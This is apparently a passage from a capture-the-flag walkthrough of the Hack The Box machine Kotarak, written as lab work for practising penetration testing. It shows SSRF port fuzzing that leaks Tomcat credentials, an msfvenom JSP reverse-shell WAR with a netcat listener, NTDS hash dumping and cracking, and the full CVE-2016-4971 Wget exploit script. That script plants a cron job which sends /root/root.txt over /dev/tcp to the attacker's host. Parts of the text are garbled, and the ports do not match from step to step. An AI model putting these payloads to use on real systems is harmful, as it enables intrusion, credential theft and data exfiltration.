<meta http-equiv="cotet-type" cotet="text/html; charset=iso-8859-1"/>
<title>Simple File Viewer</title>
--snip--
</body>
</html>
889
890
--snip

On internal port 888 we got some response which is is referring to a doc file named backup, let’s try to read it

view-source:http://10.10.10.55:60000/url.php?path=http://localhost:888?doc=backup

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required  to operate the "/manager/html" web application.  If you wish to use this app,  you must define such a user - the username and password are arbitrary. It is  strongly recommended that you do NOT use one of the users in the commented out  section below since they are intended for use with the examples web  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the  examples web application. They are wrapped in a comment and thus are ignored  when reading this file. If you wish to configure these users for use with the  examples web application, do not forget to remove the <!.. ..> that surrounds  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>
root@kali:# curl -X GET http://10.10.10.55:60000/url.php?path=http://localhost:888?doc=backup
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
--snip--
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>
root@kali:~# gobuster -u http://10.10.10.55:60000 -w /usr/share/wordlists/dirb/common.txt -t 250 -s 200,204,301,302,307,403
Gobuster v1.2 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.55:60000/
[+] Threads : 250
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 302,307,403,200,204,301
=====================================================
/index.php (Status: 200)
/info.php (Status: 200)
/server-status (Status: 403)
=====================================================
root@kali:~/htb/kotarak# wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
Total requests: 65535

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000022:  C=200      4 L	       4 W	     62 Ch	  "22"
000090:  C=200     11 L	      18 W	    156 Ch	  "90"
000110:  C=200     17 L	      24 W	    187 Ch	  "110"
000200:  C=200      3 L	       2 W	     22 Ch	  "200"
000320:  C=200     26 L	     109 W	   1232 Ch	  "320"
000888:  C=200     78 L	     265 W	   3955 Ch	  "888"
001000:  C=200      2 L	       0 W	      2 Ch	  "1000001001:  C=200      2 L	       0 W	      2 Ch	  "1001001002:  C=200      2 L	       0 W	      2 Ch	  "1002

10

Shell  Method-(NC)
First generate a java payload for reverse shell with .war extension

root@kali:~/htb/kotarak# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.19 LPORT=9000 -f war > shell.war

Now from tomcat webpage, browse the file and upload it,1213
Now start the listener and then click the file, or just open it on another browser and we will get the reverse shell

root@kali:~/Desktop# nc -nlvp 4455
listening on [any] 4455 …
connect to [10.10.*.*] from (UNKNOWN) [10.10.10.55] 51012
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
python -c ‘import pty;pty.spawn(“/bin/bash”)’
tomcat@kotarak-dmz:/$

In /home/tomcat/to_archive/Pentest_data we find a directory information tree file and binary file.

We download both the files into our system and used impacket-secretsdump to dump hashes inside the files.

root@kali:~/htb/kotarak# ls
ftptest libesedb-experimental-20170121.tar.gz puck.war SYSTEM zmohyqoef.jsp
libesedb-20170121 ntds.dit shell.war WEB-INF
root@kali:~/htb/kotarak# impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
Administrator:des-cbc-md5:75375eda54757c2f
WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
krbtgt:des-cbc-md5:10ef08047a862046
krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
WINXP1$:des-cbc-md5:984a40d5f4a815f2
WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
WIN7$:des-cbc-md5:89a1673723ad9180
WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
atanas:des-cbc-md5:6b80e391f113542a
[*] Cleaning up...

Now we can crack the hash using CrackStation1819
Administrator:f16tomcat!
Atanas:Password123!
Now with the Administrator password (f16tomcat!) we can login as Atanas user

$python -c 'import pty;pty.spawn("/bin/bash")'
arp -a
? (10.0.3.133) at 00:16:3e:c9:bd:b1 [ether] on lxcbr0
? (10.10.10.2) at 00:50:56:8f:64:fe [ether] on eth0
tomcat@kotarak-dmz:/$ nc -v 10.0.3.133 445
nc -v 10.0.3.133 445
nc: connect to 10.0.3.133 port 445 (tcp) failed: Connection refused
tomcat@kotarak-dmz:/$ nc -v 10.0.3.133 22
nc -v 10.0.3.133 22
Connection to 10.0.3.133 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
tomcat@kotarak-dmz:/$ su -l atanas
su -l atanas
Password: f16tomcat!
atanas@kotarak-dmz:~$ ls
user.txt
atanas@kotarak-dmz:~$ cd /root
atanas@kotarak-dmz:/root$ ls
app.log flag.txt
atanas@kotarak-dmz:/root$ cat flag.txt
Getting closer! But what you are looking for can't be found here.
atanas@kotarak-dmz:/root$ cat app.log
cat app.log
10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
atanas@kotarak-dmz:/root$ wget --version | head -n1
wget --version | head -n1
GNU Wget 1.17.1 built on linux-gnu.

The machine is connected to a LXC container, So Every 2 minutes a LXC container requests a file on port 80 of kotarak. He (the container) have vulnerable wget, and the root.txt is there. So we will leak this file using the GNU Wget exploit, But before that we need to download our pyftpdlib server and run it.

c:\Python27>pip install pyftpdlib
Collecting pyftpdlib
Downloading https://files.pythonhosted.org/packages/0d/64/eb0daca74956d0e6849b71c5ba99ab873ec59b888a1d7651d92fb686ee04/pyftpdlib-1.5.4.tar.gz (184kB)
100% |################################| 194kB 2.1MB/s
Installing collected packages: pyftpdlib
Running setup.py install for pyftpdlib ... done
Successfully installed pyftpdlib-1.5.4

c:\Python27>python -m pyftpdlib -p21
[I 2018-12-06 18:10:29] >>> starting FTP server on 0.0.0.0:21, pid=7292 <<<
[I 2018-12-06 18:10:29] concurrency model: async
[I 2018-12-06 18:10:29] masquerade (NAT) address: None
[I 2018-12-06 18:10:29] passive ports: None

Now copy the wget python exploit from the link I have shared above and you need to edit Listening IP and Port along with Host IP of the FTP server and Port and command to execute as root.

Now create a file .wgetrc and make sure it should be in the same directory from where you are hosting your FTP server

atanas@kotarak-dmz:/tmp$ cat .wgetrc
cat .wgetrc
post_file = /root/root.txt
output_document = /etc/cron.d/wget-root-shell

Make sure our FTP server is up and running,Now download the wget python exploit to the target server and for executing the exploit we are using authbind for a possible to host something on port 80 , without authbind that wouldn’t be possible only root have perm for ports lower than 1024, after executing the exploit, wait for 2 min and as soon the cronjob will run, you will get the root flag.

atanas@kotarak-dmz:/tmp$ cat exploit.py
cat exploit.py
#!/usr/bin/env python
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#
import SimpleHTTPServer
import SocketServer
import socket;
class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
# This takes care of sending .wgetrc
print "We have a volunteer requesting " + self.path + " by GET :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
self.send_response(301)
new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
print "Sending redirect to %s \n"%(new_path)
self.send_header('Location', new_path)
self.end_headers()
def do_POST(self):
# In here we will receive extracted file and install a PoC cronjob
print "We have a volunteer requesting " + self.path + " by POST :)\n"
if "Wget" not in self.headers.getheader('User-Agent'):
print "But it's not a Wget :( \n"
self.send_response(200)
self.end_headers()
self.wfile.write("Nothing to see here...")
return
content_len = int(self.headers.getheader('content-length', 0))
post_body = self.rfile.read(content_len)
print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)
print "Sending back a cronjob script as a thank-you for the file..."
print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)"
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(ROOT_CRON)
print "\nFile was served. Check your root hash receiving in your 8888 web server in a minute! :) \n"
return
HTTP_LISTEN_IP = '0.0.0.0'
HTTP_LISTEN_PORT = 80
FTP_HOST = '10.10.10.55'
FTP_PORT = 21
ROOT_CRON = "* * * * * root cat /root/root.txt > /dev/tcp/10.10.14.19/9876 \n"
handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
print "Ready? Is your FTP server running?"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
print "FTP is down :( Exiting."
exit(1)
print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT
handler.serve_forever()atanas@kotarak-dmz:/tmp$
handler.serve_forever()atanas@kotarak-dmz:/tmp$ ls -la
ls -la
total 64
drwxrwxrwt 10 root root 4096 Dec 6 09:41 .
drwxr-xr-x 27 root root 4096 Aug 29 2017 ..
-rwxrwxrwx 1 atanas atanas 2915 Dec 6 09:41 exploit.py
-rw-rw-r-- 1 atanas atanas 2871 Dec 6 06:38 wget-log
-rwxrwxrwx 1 atanasv atanas 73 Dec 6 09:22 .wgetrc

 

File was served. Check your root hash receiving in your 9876 netcat listener in a minute!